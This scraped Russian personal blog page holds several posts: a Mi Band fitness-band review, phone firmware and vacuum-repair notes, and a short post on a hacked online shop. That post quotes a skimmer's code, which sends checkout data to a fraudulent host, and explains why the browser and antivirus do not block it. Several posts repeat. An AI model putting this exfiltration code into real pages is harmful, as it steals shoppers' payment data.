В декабре прошлого года купил Mi Band 1A (который с белыми светодиодами и без пульсометра). Хотелось попробовать "умный" будильник, учитывающий фазы сна, а небольшая стоимость устройства только способствовала решению о приобретении. Попользовался и понял, что не жалею о покупке, но неудобно носить с часами. Пробовал одевать браслет на другую руку, но постоянное ощущение чего-то лишнего. А когда анонсировали Mi Band 2 с экраном, то я уже знал - это как раз то, чего мне не хватало в первой версии.
До покупки браслета я пользовался будильниками на телефоне и обычно у меня их было несколько (6:30, 6:45, 7:00). И как правило проснуться с первым будильником практически никогда не получалось - просыпалась жена или дети и только потом они дружно будили меня. Чтобы не будить всех подряд пробовал класть телефон возле подушки, но тогда я умудрялся выключить все будильники не приходя в сознание (я в курсе про навороченные приложения, где нужно решить задачку или что-то вроде, но пока я буду его спросонья решать, то успеют проснуться все остальные).
В начале декабря прошлого года пришел заказанный Mi Band 1A - пару дней использования показали, что я не ошибся с покупкой. Хотя жена и слышит вибрацию браслета, но дети точно продолжают спать. Чтобы оценить работу умного будильника я пробовал смотреть во сколько я просыпаюсь - получалось каждый раз разное время в промежутке от 6:00 до 6:30. В браслете есть акселерометр, которым за пол-часа до установленного
времени будильника браслет начинает мониторить движения. Если есть
движения, то сейчас сон в быстрой фазе и вибрация браслета будит очень
легко. Если же за пол-часа найти быструю фазу не удается, то браслет
просто работает как обычный будильник. И вот в последнем случае у меня иногда получалось проспать, хотя жена утверждает, что браслет точно вибрировал. После какого-то из обновлений Mi Fit перестали работать умные будильники. Хотя их поддержка и осталась в "железе", но из Android приложения их убрали. Чтобы вернуть будильники я установил Mi Band Tools. Еще полезным оказались графики фаз сна. Как правило глубокого сна у меня около 2 часов, но если график показывает меньше часа глубокого сна, то гарантированно целый день будет тянуть поспать.
Не менее полезными стали уведомления о звонках на браслете. Я настроил браслет таким образом, что если в течении 5 секунд я не ответил на звонок, то начинает вибрировать браслет. В рабочее время у меня на телефоне только вибрация, чтобы не мешать никому из окружающих, и если я иду, то часто не удается услышать звонок. С браслетом такой проблемы не возникает.
В Mi Band Tools есть функция Power Nap или "сон на ходу". Если тянет поспать, а времени на полноценный сон нет, то можно попробовать эту функцию. Она работает так - вы выбираете интервал времени (20-30 минут) и браслет отслеживает начало фазы медленного сна. В момент начала медленной фазы сна браслет разбудит. Таким образом получается аналог перезагрузки мозга. Я слышал о подобном методе у дальнобойщиков, но там люди берут связку ключей в руку и засыпают. В какой-то момент рука расслабляется, связка ключен падает и своим грохотом будит спящего. Если сразу после пробуждения сделать зарядку, то будешь ощущать себя выспавшимся. Один раз я пробовал функцию Power Nap, но у меня ничего не получилось - проснулся я ровно спустя заданный интервал и ни о какой свежести сознания речь не шла.
Еще незаменимой функцией стал мониторинг длительной неактивности. Такая функция сейчас появилась в Mi Fit, но раньше я пользовался ею в Mi Band Tools. Браслет мониторит количество шагов за час и если их было меньше определенного количества (у меня настроено 50 шагов), то уведомляет о недостаточной активности. Поскольку моя работа преимущественно сидячая, то случается что несколько часов подряд я не делаю ни шага и даже не замечаю этого.
Ну и напоследок о времени автономной работы - первый Mi Band работает больше месяца от одного заряда при включенных уведомления о звонках. Mi Band 2 работает около двух недель при умеренном использовании экрана (использую как часы и иногда смотрю шаги) и включенных уведомлениях.
Заметки о Linux, системном администрировании, программировании, электронике и не только
22 сентября 2016
20 сентября 2016
Как тихо и незаметно сливаются данные на сайтах
Началось все с обыденной истории - сайт интернет-магазина, администраторы которого упорно игнорируют установку патчей безопасности, взломали (на сайте есть уязвимость, позволяющая попасть в админку). В шаблон страницы добавили обфусцированный скрипт, который собирал данные со страниц оформления заказа и отправлял их на сторонний сервер.
Код, который отправляет подготовленные данные на сторонний сервер очень прост:
И вот глядя на этот простой код у меня возник вопрос - а почему браузер не препятствует отправке данных на сторонний сервер? А не препятствует он потому что fraudsite.com отдает заголовок "Access-Control-Allow-Origin: *" и данные сливаются без шума и пыли. Более подробный ответ почему так происходит есть на этой схеме:

Ради интереса проверил как на такую ситуацию реагирует антивирус - оказалось что никак. Вот и получается - заходишь на "уважаемый" сайт, вбиваешь данные кредитки и понятия не имеешь, что они уже отправились куда нужно. Грусть короче...
Код, который отправляет подготовленные данные на сторонний сервер очень прост:
var http = new XMLHttpRequest();
http.open("POST","https://fraudsite.com/lib/paypal_icon.jpg",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("data="+data);
И вот глядя на этот простой код у меня возник вопрос - а почему браузер не препятствует отправке данных на сторонний сервер? А не препятствует он потому что fraudsite.com отдает заголовок "Access-Control-Allow-Origin: *" и данные сливаются без шума и пыли. Более подробный ответ почему так происходит есть на этой схеме:
Ради интереса проверил как на такую ситуацию реагирует антивирус - оказалось что никак. Вот и получается - заходишь на "уважаемый" сайт, вбиваешь данные кредитки и понятия не имеешь, что они уже отправились куда нужно. Грусть короче...
07 сентября 2016
Обновил Xiaomi Mi4c до cyanogenmod 13.1
Сразу скажу, что с MIUI у меня не сложилось. Долго ждал разрешение на разблокировку загрузчика, а потом прошился на cyanogenmod 12.1 от teamsuperluminal. В принципе все работало хорошо, но отсутствие обновлений безопасности и постоянно отваливающийся bluetooth вынудили искать альтернативу.
К тому времени уже стабилизировался cyanogenmod 13.1 от того же teamsuperluminal и в нем как раз обещана стабильная работа bluetooth (активно использую для Mi Band 2 и в машине). Но вот проблема - для обновления нужно стирать /data, а это значит что потеряются приложения и их настройки (а их у меня немало).
Для переноса приложений и настроек решил воспользовался Titanium Backup. Для этого сделал резервную копию всех пунктов, которые не были отмечены красным цветом. На всякий случай перед прошивкой сделал бэкап в recovery (у меня стоит кастомный recovery TWRP). Последнее гарантирует возврат в исходную точку, если мне не понравится результат.
Через тот же TWRP прошил cyanogenmod 13.1 от 20160827, GAPPS 6.0.x и свежий firmware. Восстановление настроек и приложений в Titanium Backup прошло успешно и уже через пол-часа телефон был в строю.
Bluetooth пока работает без сбоев, включение/выключение sim карт не работает вовсе (про это я знал заранее) - пришлось достать вторую симку, чтобы не маячила. Грузится телефон с новой прошивкой дольше, насколько дольше я не замерил. GPS работает, отличий по камере я не замечаю (хотя в этой прошивке вроде новая камера). Быстрый разряд батареи не наблюдаю.
Посмотрю как оно будет дальше, но пока полностью доволен.
К тому времени уже стабилизировался cyanogenmod 13.1 от того же teamsuperluminal и в нем как раз обещана стабильная работа bluetooth (активно использую для Mi Band 2 и в машине). Но вот проблема - для обновления нужно стирать /data, а это значит что потеряются приложения и их настройки (а их у меня немало).
Для переноса приложений и настроек решил воспользовался Titanium Backup. Для этого сделал резервную копию всех пунктов, которые не были отмечены красным цветом. На всякий случай перед прошивкой сделал бэкап в recovery (у меня стоит кастомный recovery TWRP). Последнее гарантирует возврат в исходную точку, если мне не понравится результат.
Через тот же TWRP прошил cyanogenmod 13.1 от 20160827, GAPPS 6.0.x и свежий firmware. Восстановление настроек и приложений в Titanium Backup прошло успешно и уже через пол-часа телефон был в строю.
Bluetooth пока работает без сбоев, включение/выключение sim карт не работает вовсе (про это я знал заранее) - пришлось достать вторую симку, чтобы не маячила. Грузится телефон с новой прошивкой дольше, насколько дольше я не замерил. GPS работает, отличий по камере я не замечаю (хотя в этой прошивке вроде новая камера). Быстрый разряд батареи не наблюдаю.
Посмотрю как оно будет дальше, но пока полностью доволен.
04 сентября 2016
Обслуживание Samsung SC8870
Этот пылесос покупался три года назад. За две недели до конца гарантийного срока сгорел его двигатель. Сервис-центр отремонтировал за два дня - видимо запас расходников (двигателей) у них всегда под рукой.
Недавно заметил, что воздух из пылесоса слишком горячий и решил выполнить его обслуживание. Здесь нашлось видео с описание сборки пылесоса - соответственно разбор в обратном порядке (колеса снимать не нужно).
При обслуживании планировал очистить внутренности от пыли, смазать подшипники двигателя и проверить состояние его щеток. Двигатель в этом пылесосе: VCM-M30AU.
Щетки изношены не сильно, но вот двигатель разобрать не получилось. Его корпус завальцован и в домашних условиях разборка/сборка будет сложновата. Порадовало что корейцы не забыли про термопредохранитель. Если бы еще и кожух двигателя на винтах вместо вальцевания, то было бы совсем прекрасно.
Если верить гуглу, то в минске такой двигатель предлагают от $25 до $50. Учитывая простоту замены двигателя - имеет смысл менять его, а не пылесос.
Посмотрю сколько он еще протянет до полного издыхания.
Обновлено 2018-01-15: На прошлой неделе пылесос завонял и выключился. Итого после замены двигателя по гарантии новый проработал примерно 4 года. Это хороший результат в сравнении с первым двигателем, но полная ерунда, если сравнивать со старыми пылесосами родом из СССР (вспоминаю родительский "Вихрь", который мой ровесник и до сих пор трудится в гараже).
Новый "оригинальный" двигатель, который очень похож на почивший, обошелся в 68 BYN (34 USD). Замена двигателя и фильтров заняла минут 15. Вчера видел аналогичный двигатель на радиорынке "Ждановичи" и там он стоил 58 BYN - так что при желании можно немного сэкономить.
Недавно заметил, что воздух из пылесоса слишком горячий и решил выполнить его обслуживание. Здесь нашлось видео с описание сборки пылесоса - соответственно разбор в обратном порядке (колеса снимать не нужно).
При обслуживании планировал очистить внутренности от пыли, смазать подшипники двигателя и проверить состояние его щеток. Двигатель в этом пылесосе: VCM-M30AU.
Щетки изношены не сильно, но вот двигатель разобрать не получилось. Его корпус завальцован и в домашних условиях разборка/сборка будет сложновата. Порадовало что корейцы не забыли про термопредохранитель. Если бы еще и кожух двигателя на винтах вместо вальцевания, то было бы совсем прекрасно.
Если верить гуглу, то в минске такой двигатель предлагают от $25 до $50. Учитывая простоту замены двигателя - имеет смысл менять его, а не пылесос.
Посмотрю сколько он еще протянет до полного издыхания.
Обновлено 2018-01-15: На прошлой неделе пылесос завонял и выключился. Итого после замены двигателя по гарантии новый проработал примерно 4 года. Это хороший результат в сравнении с первым двигателем, но полная ерунда, если сравнивать со старыми пылесосами родом из СССР (вспоминаю родительский "Вихрь", который мой ровесник и до сих пор трудится в гараже).
Новый "оригинальный" двигатель, который очень похож на почивший, обошелся в 68 BYN (34 USD). Замена двигателя и фильтров заняла минут 15. Вчера видел аналогичный двигатель на радиорынке "Ждановичи" и там он стоил 58 BYN - так что при желании можно немного сэкономить.

